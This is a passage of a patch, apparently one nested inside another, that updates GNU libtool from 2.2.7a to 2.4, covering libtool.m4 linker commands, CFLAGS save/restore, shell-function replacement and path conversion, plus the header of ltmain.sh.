++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ esac
+ fi
+@@ -5992,9 +6366,9 @@ if test "$_lt_caught_CXX_error" != yes; then
+ *)
+ if test "$GXX" = yes; then
+ if test "$with_gnu_ld" = no; then
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ else
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
+ fi
+ fi
+ _LT_TAGVAR(link_all_deplibs, $1)=yes
+@@ -6272,7 +6646,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ ;;
+ *)
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ ;;
+ esac
+
+@@ -6318,7 +6692,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # Sun C++ 4.2, 5.x and Centerline C++
+ _LT_TAGVAR(archive_cmds_need_lc,$1)=yes
+ _LT_TAGVAR(no_undefined_flag, $1)=' -zdefs'
+@@ -6359,9 +6733,9 @@ if test "$_lt_caught_CXX_error" != yes; then
+ if test "$GXX" = yes && test "$with_gnu_ld" = no; then
+ _LT_TAGVAR(no_undefined_flag, $1)=' ${wl}-z ${wl}defs'
+ if $CC --version | $GREP -v '^2\.7' > /dev/null; then
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
+ _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
+
+ # Commands to make compiler produce verbose output that lists
+ # what "hidden" libraries, object files and flags are used when
+@@ -6491,6 +6865,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+ fi # test -n "$compiler"
+
+ CC=$lt_save_CC
++ CFLAGS=$lt_save_CFLAGS
+ LDCXX=$LD
+ LD=$lt_save_LD
+ GCC=$lt_save_GCC
+@@ -6505,6 +6880,29 @@ AC_LANG_POP
+ ])# _LT_LANG_CXX_CONFIG
+
+
++# _LT_FUNC_STRIPNAME_CNF
++# ----------------------
++# func_stripname_cnf prefix suffix name
++# strip PREFIX and SUFFIX off of NAME.
++# PREFIX and SUFFIX must not contain globbing or regex special
++# characters, hashes, percent signs, but SUFFIX may contain a leading
++# dot (in which case that matches only a dot).
++#
++# This function is identical to the (non-XSI) version of func_stripname,
++# except this one can be used by m4 code that may be executed by configure,
++# rather than the libtool script.
++m4_defun([_LT_FUNC_STRIPNAME_CNF],[dnl
++AC_REQUIRE([_LT_DECL_SED])
++AC_REQUIRE([_LT_PROG_ECHO_BACKSLASH])
++func_stripname_cnf ()
++{
++ case ${2} in
++ .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
++ *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
++ esac
++} # func_stripname_cnf
++])# _LT_FUNC_STRIPNAME_CNF
++
+ # _LT_SYS_HIDDEN_LIBDEPS([TAGNAME])
+ # ---------------------------------
+ # Figure out "hidden" library dependencies from verbose
+@@ -6513,6 +6911,7 @@ AC_LANG_POP
+ # objects, libraries and library flags.
+ m4_defun([_LT_SYS_HIDDEN_LIBDEPS],
+ [m4_require([_LT_FILEUTILS_DEFAULTS])dnl
++AC_REQUIRE([_LT_FUNC_STRIPNAME_CNF])dnl
+ # Dependencies to place before and after the object being linked:
+ _LT_TAGVAR(predep_objects, $1)=
+ _LT_TAGVAR(postdep_objects, $1)=
+@@ -6563,6 +6962,13 @@ public class foo {
+ };
+ _LT_EOF
+ ])
++
++_lt_libdeps_save_CFLAGS=$CFLAGS
++case "$CC $CFLAGS " in #(
++*\ -flto*\ *) CFLAGS="$CFLAGS -fno-lto" ;;
++*\ -fwhopr*\ *) CFLAGS="$CFLAGS -fno-whopr" ;;
++esac
++
+ dnl Parse the compiler output and extract the necessary
+ dnl objects, libraries and library flags.
+ if AC_TRY_EVAL(ac_compile); then
+@@ -6574,7 +6980,7 @@ if AC_TRY_EVAL(ac_compile); then
+ pre_test_object_deps_done=no
+
+ for p in `eval "$output_verbose_link_cmd"`; do
+- case $p in
++ case ${prev}${p} in
+
+ -L* | -R* | -l*)
+ # Some compilers place space between "-{L,R}" and the path.
+@@ -6583,13 +6989,22 @@ if AC_TRY_EVAL(ac_compile); then
+ test $p = "-R"; then
+ prev=$p
+ continue
+- else
+- prev=
+ fi
+
++ # Expand the sysroot to ease extracting the directories later.
++ if test -z "$prev"; then
++ case $p in
++ -L*) func_stripname_cnf '-L' '' "$p"; prev=-L; p=$func_stripname_result ;;
++ -R*) func_stripname_cnf '-R' '' "$p"; prev=-R; p=$func_stripname_result ;;
++ -l*) func_stripname_cnf '-l' '' "$p"; prev=-l; p=$func_stripname_result ;;
++ esac
++ fi
++ case $p in
++ =*) func_stripname_cnf '=' '' "$p"; p=$lt_sysroot$func_stripname_result ;;
++ esac
+ if test "$pre_test_object_deps_done" = no; then
+- case $p in
+- -L* | -R*)
++ case ${prev} in
++ -L | -R)
+ # Internal compiler library paths should come after those
+ # provided the user. The postdeps already come after the
+ # user supplied libs so there is no need to process them.
+@@ -6609,8 +7024,10 @@ if AC_TRY_EVAL(ac_compile); then
+ _LT_TAGVAR(postdeps, $1)="${_LT_TAGVAR(postdeps, $1)} ${prev}${p}"
+ fi
+ fi
++ prev=
+ ;;
+
++ *.lto.$objext) ;; # Ignore GCC LTO objects
+ *.$objext)
+ # This assumes that the test object file only shows up
+ # once in the compiler output.
+@@ -6646,6 +7063,7 @@ else
+ fi
+
+ $RM -f confest.$objext
++CFLAGS=$_lt_libdeps_save_CFLAGS
+
+ # PORTME: override above test on systems where it is broken
+ m4_if([$1], [CXX],
+@@ -6682,7 +7100,7 @@ linux*)
+
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # The more standards-conforming stlport4 library is
+ # incompatible with the Cstd library. Avoid specifying
+ # it if it's in CXXFLAGS. Ignore libCrun as
+@@ -6795,7 +7213,9 @@ if test "$_lt_disable_F77" != yes; then
+ # Allow CC to be a program name with arguments.
+ lt_save_CC="$CC"
+ lt_save_GCC=$GCC
++ lt_save_CFLAGS=$CFLAGS
+ CC=${F77-"f77"}
++ CFLAGS=$FFLAGS
+ compiler=$CC
+ _LT_TAGVAR(compiler, $1)=$CC
+ _LT_CC_BASENAME([$compiler])
+@@ -6849,6 +7269,7 @@ if test "$_lt_disable_F77" != yes; then
+
+ GCC=$lt_save_GCC
+ CC="$lt_save_CC"
++ CFLAGS="$lt_save_CFLAGS"
+ fi # test "$_lt_disable_F77" != yes
+
+ AC_LANG_POP
+@@ -6925,7 +7346,9 @@ if test "$_lt_disable_FC" != yes; then
+ # Allow CC to be a program name with arguments.
+ lt_save_CC="$CC"
+ lt_save_GCC=$GCC
++ lt_save_CFLAGS=$CFLAGS
+ CC=${FC-"f95"}
++ CFLAGS=$FCFLAGS
+ compiler=$CC
+ GCC=$ac_cv_fc_compiler_gnu
+
+@@ -6981,7 +7404,8 @@ if test "$_lt_disable_FC" != yes; then
+ fi # test -n "$compiler"
+
+ GCC=$lt_save_GCC
+- CC="$lt_save_CC"
++ CC=$lt_save_CC
++ CFLAGS=$lt_save_CFLAGS
+ fi # test "$_lt_disable_FC" != yes
+
+ AC_LANG_POP
+@@ -7018,10 +7442,12 @@ _LT_COMPILER_BOILERPLATE
+ _LT_LINKER_BOILERPLATE
+
+ # Allow CC to be a program name with arguments.
+-lt_save_CC="$CC"
++lt_save_CC=$CC
++lt_save_CFLAGS=$CFLAGS
+ lt_save_GCC=$GCC
+ GCC=yes
+ CC=${GCJ-"gcj"}
++CFLAGS=$GCJFLAGS
+ compiler=$CC
+ _LT_TAGVAR(compiler, $1)=$CC
+ _LT_TAGVAR(LD, $1)="$LD"
+@@ -7052,7 +7478,8 @@ fi
+ AC_LANG_RESTORE
+
+ GCC=$lt_save_GCC
+-CC="$lt_save_CC"
++CC=$lt_save_CC
++CFLAGS=$lt_save_CFLAGS
+ ])# _LT_LANG_GCJ_CONFIG
+
+
+@@ -7087,9 +7514,11 @@ _LT_LINKER_BOILERPLATE
+
+ # Allow CC to be a program name with arguments.
+ lt_save_CC="$CC"
++lt_save_CFLAGS=$CFLAGS
+ lt_save_GCC=$GCC
+ GCC=
+ CC=${RC-"windres"}
++CFLAGS=
+ compiler=$CC
+ _LT_TAGVAR(compiler, $1)=$CC
+ _LT_CC_BASENAME([$compiler])
+@@ -7102,7 +7531,8 @@ fi
+
+ GCC=$lt_save_GCC
+ AC_LANG_RESTORE
+-CC="$lt_save_CC"
++CC=$lt_save_CC
++CFLAGS=$lt_save_CFLAGS
+ ])# _LT_LANG_RC_CONFIG
+
+
+@@ -7161,6 +7591,15 @@ _LT_DECL([], [OBJDUMP], [1], [An object symbol dumper])
+ AC_SUBST([OBJDUMP])
+ ])
+
++# _LT_DECL_DLLTOOL
++# ----------------
++# Ensure DLLTOOL variable is set.
++m4_defun([_LT_DECL_DLLTOOL],
++[AC_CHECK_TOOL(DLLTOOL, dlltool, false)
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++_LT_DECL([], [DLLTOOL], [1], [DLL creation program])
++AC_SUBST([DLLTOOL])
++])
+
+ # _LT_DECL_SED
+ # ------------
+@@ -7254,8 +7693,8 @@ m4_defun([_LT_CHECK_SHELL_FEATURES],
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -7294,206 +7733,162 @@ _LT_DECL([NL2SP], [lt_NL2SP], [1], [turn newlines into spaces])dnl
+ ])# _LT_CHECK_SHELL_FEATURES
+
+
+-# _LT_PROG_XSI_SHELLFNS
+-# ---------------------
+-# Bourne and XSI compatible variants of some useful shell functions.
+-m4_defun([_LT_PROG_XSI_SHELLFNS],
+-[case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $[*] ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
++# _LT_PROG_FUNCTION_REPLACE (FUNCNAME, REPLACEMENT-BODY)
++# ------------------------------------------------------
++# In `$cfgfile', look for function FUNCNAME delimited by `^FUNCNAME ()$' and
++# '^} FUNCNAME ', and replace its body with REPLACEMENT-BODY.
++m4_defun([_LT_PROG_FUNCTION_REPLACE],
++[dnl {
++sed -e '/^$1 ()$/,/^} # $1 /c\
++$1 ()\
++{\
++m4_bpatsubsts([$2], [$], [\\], [^\([ ]\)], [\\\1])
++} # Extended-shell $1 implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++])
+
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
++# _LT_PROG_REPLACE_SHELLFNS
++# -------------------------
++# Replace existing portable implementations of several shell functions with
++# equivalent extended shell implementations where those features are available..
++m4_defun([_LT_PROG_REPLACE_SHELLFNS],
++[if test x"$xsi_shell" = xyes; then
++ _LT_PROG_FUNCTION_REPLACE([func_dirname], [dnl
++ case ${1} in
++ */*) func_dirname_result="${1%/*}${2}" ;;
++ * ) func_dirname_result="${3}" ;;
++ esac])
++
++ _LT_PROG_FUNCTION_REPLACE([func_basename], [dnl
++ func_basename_result="${1##*/}"])
++
++ _LT_PROG_FUNCTION_REPLACE([func_dirname_and_basename], [dnl
++ case ${1} in
++ */*) func_dirname_result="${1%/*}${2}" ;;
++ * ) func_dirname_result="${3}" ;;
++ esac
++ func_basename_result="${1##*/}"])
+
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
++ _LT_PROG_FUNCTION_REPLACE([func_stripname], [dnl
++ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
++ # positional parameters, so assign one to ordinary parameter first.
++ func_stripname_result=${3}
++ func_stripname_result=${func_stripname_result#"${1}"}
++ func_stripname_result=${func_stripname_result%"${2}"}])
+
+-dnl func_dirname_and_basename
+-dnl A portable version of this function is already defined in general.m4sh
+-dnl so there is no need for it here.
++ _LT_PROG_FUNCTION_REPLACE([func_split_long_opt], [dnl
++ func_split_long_opt_name=${1%%=*}
++ func_split_long_opt_arg=${1#*=}])
+
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
++ _LT_PROG_FUNCTION_REPLACE([func_split_short_opt], [dnl
++ func_split_short_opt_arg=${1#??}
++ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}])
+
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[[^=]]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[[^=]]*=//'
++ _LT_PROG_FUNCTION_REPLACE([func_lo2o], [dnl
++ case ${1} in
++ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
++ *) func_lo2o_result=${1} ;;
++ esac])
+
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
++ _LT_PROG_FUNCTION_REPLACE([func_xform], [ func_xform_result=${1%.*}.lo])
+
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
++ _LT_PROG_FUNCTION_REPLACE([func_arith], [ func_arith_result=$(( $[*] ))])
+
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[[^.]]*$/.lo/'`
+-}
++ _LT_PROG_FUNCTION_REPLACE([func_len], [ func_len_result=${#1}])
++fi
+
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$[@]"`
+-}
++if test x"$lt_shell_append" = xyes; then
++ _LT_PROG_FUNCTION_REPLACE([func_append], [ eval "${1}+=\\${2}"])
+
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$[1]" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
++ _LT_PROG_FUNCTION_REPLACE([func_append_quoted], [dnl
++ func_quote_for_eval "${2}"
++dnl m4 expansion turns \\\\ into \\, and then the shell eval turns that into \
++ eval "${1}+=\\\\ \\$func_quote_for_eval_result"])
+
+-_LT_EOF
+-esac
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([[a-zA-Z_]]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([[a-zA-Z_]]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
+
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
++if test x"$_lt_function_replace_fail" = x":"; then
++ AC_MSG_WARN([Unable to substitute extended shell functions in $ofile])
++fi
++])
+
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$[1]+=\$[2]"
+-}
+-_LT_EOF
++# _LT_PATH_CONVERSION_FUNCTIONS
++# -----------------------------
++# Determine which file name conversion functions should be used by
++# func_to_host_file (and, implicitly, by func_to_host_path). These are needed
++# for certain cross-compile configurations and native mingw.
++m4_defun([_LT_PATH_CONVERSION_FUNCTIONS],
++[AC_REQUIRE([AC_CANONICAL_HOST])dnl
++AC_REQUIRE([AC_CANONICAL_BUILD])dnl
++AC_MSG_CHECKING([how to convert $build file names to $host format])
++AC_CACHE_VAL(lt_cv_to_host_file_cmd,
++[case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
+ ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$[1]=\$$[1]\$[2]"
+-}
+-
+-_LT_EOF
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
+ ;;
+- esac
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++])
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++AC_MSG_RESULT([$lt_cv_to_host_file_cmd])
++_LT_DECL([to_host_file_cmd], [lt_cv_to_host_file_cmd],
++ [0], [convert $build file names to $host format])dnl
++
++AC_MSG_CHECKING([how to convert $build file names to toolchain format])
++AC_CACHE_VAL(lt_cv_to_tool_file_cmd,
++[#assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
+ ])
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++AC_MSG_RESULT([$lt_cv_to_tool_file_cmd])
++_LT_DECL([to_tool_file_cmd], [lt_cv_to_tool_file_cmd],
++ [0], [convert $build files to toolchain format])dnl
++])# _LT_PATH_CONVERSION_FUNCTIONS
+diff --git a/ltmain.sh b/ltmain.sh
+index 70990740b6c..7f7104ffc82 100644
+--- a/ltmain.sh
++++ b/ltmain.sh
+@@ -1,10 +1,9 @@
+-# Generated from ltmain.m4sh.
+
+-# libtool (GNU libtool 1.3134 2009-11-29) 2.2.7a
++# libtool (GNU libtool) 2.4
+ # Written by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
+
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005, 2006,
+-# 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2007, 2008, 2009, 2010 Free Software Foundation, Inc.
+ # This is free software; see the source for copying conditions. There is NO
+ # warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+@@ -38,7 +37,6 @@
+ # -n, --dry-run display commands without modifying any files
+ # --features display basic configuration information and exit
+ # --mode=MODE use operation mode MODE
+-# --no-finish let install mode avoid finish commands
+ # --preserve-dup-deps don't remove duplicate dependency libraries
+ # --quiet, --silent don't print informational messages
+ # --no-quiet, --no-silent
+@@ -71,17 +69,19 @@
+ # compiler: $LTCC
+ # compiler flags: $LTCFLAGS
+ # linker: $LD (gnu? $with_gnu_ld)
+-# $progname: (GNU libtool 1.3134 2009-11-29) 2.2.7a
++# $progname: (GNU libtool) 2.4
+ # automake: $automake_version
+ # autoconf: $autoconf_version
+ #
+ # Report bugs to <bug-libtool@gnu.org>.
++# GNU libtool home page: <http://www.gnu.org/software/libtool/>.
++# General help using GNU software: <http://www.gnu.org/gethelp/>.
+
+ PROGRAM=libtool
+ PACKAGE=libtool
+-VERSION=2.2.7a
+-TIMESTAMP=" 1.3134 2009-11-29"
+-package_revision=1.3134
++VERSION=2.4
++TIMESTAMP=""
++package_revision=1.3293
+
+ # Be Bourne compatible
+ if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then
+@@ -106,9 +106,6 @@ _LTECHO_EOF'
+ }
+
+ # NLS nuisances: We save the old values to restore during execute mode.
+-# Only set LANG and LC_ALL to C if already set.
+-# These must not be set unconditionally because not all systems understand
+-# e.g. LANG=C (notably SCO).
+ lt_user_locale=
+ lt_safe_locale=
+ for lt_var in LANG LANGUAGE LC_ALL LC_CTYPE LC_COLLATE LC_MESSAGES
+@@ -121,15 +118,13 @@ do
+ lt_safe_locale=\"$lt_var=C; \$lt_safe_locale\"
+ fi"
+ done
++LC_ALL=C
++LANGUAGE=C
++export LANGUAGE LC_ALL
+
+ $lt_unset CDPATH
+
+
+-
+-
+-
+-
+-
+ # Work around backward compatibility issue on IRIX 6.5. On IRIX 6.4+, sh
+ # is ksh but when the shell is invoked as "sh" and the current value of
+ # the _XPG environment variable is not equal to 1 (one), the special
+@@ -140,7 +135,7 @@ progpath="$0"
+
+
+ : ${CP="cp -f"}
+-: ${ECHO=$as_echo}
++test "${ECHO+set}" = set || ECHO=${as_echo-'printf %s\n'}
+ : ${EGREP="/bin/grep -E"}
+ : ${FGREP="/bin/grep -F"}
+ : ${GREP="/bin/grep"}
+@@ -149,7 +144,7 @@ progpath="$0"
+ : ${MKDIR="mkdir"}
+ : ${MV="mv -f"}
+ : ${RM="rm -f"}
+-: ${SED="/mount/endor/wildenhu/local-x86_64/bin/sed"}
++: ${SED="/bin/sed"}
+ : ${SHELL="${CONFIG_SHELL-/bin/sh}"}
+ : ${Xsed="$SED -e 1s/^X//"}
+
+@@ -169,6 +164,27 @@ IFS=" $lt_nl"
+ dirname="s,/[^/]*$,,"
+ basename="s,^.*/,,"
+
++# func_dirname file append nondir_replacement
++# Compute the dirname of FILE. If nonempty, add APPEND to the result,
++# otherwise set result to NONDIR_REPLACEMENT.
++func_dirname ()
++{
++ func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
++ if test "X$func_dirname_result" = "X${1}"; then
++ func_dirname_result="${3}"
++ else
++ func_dirname_result="$func_dirname_result${2}"
++ fi
++} # func_dirname may be replaced by extended shell implementation
++
++
++# func_basename file
++func_basename ()
++{
++ func_basename_result=`$ECHO "${1}" | $SED "$basename"`
++} # func_basename may be replaced by extended shell implementation
++
++
+ # func_dirname_and_basename file append nondir_replacement
+ # perform func_basename and func_dirname in a single function
+ # call:
+@@ -183,17 +199,31 @@ basename="s,^.*/,,"
+ # those functions but instead duplicate the functionality here.
+ func_dirname_and_basename ()
+ {
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED -e "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+- func_basename_result=`$ECHO "${1}" | $SED -e "$basename"`
+-}
++ # Extract subdirectory from the argument.
++ func_dirname_result=`$ECHO "${1}" | $SED -e "$dirname"`
++ if test "X$func_dirname_result" = "X${1}"; then
++ func_dirname_result="${3}"
++ else
++ func_dirname_result="$func_dirname_result${2}"
++ fi
++ func_basename_result=`$ECHO "${1}" | $SED -e "$basename"`
++} # func_dirname_and_basename may be replaced by extended shell implementation
++
++
++# func_stripname prefix suffix name
++# strip PREFIX and SUFFIX off of NAME.
++# PREFIX and SUFFIX must not contain globbing or regex special
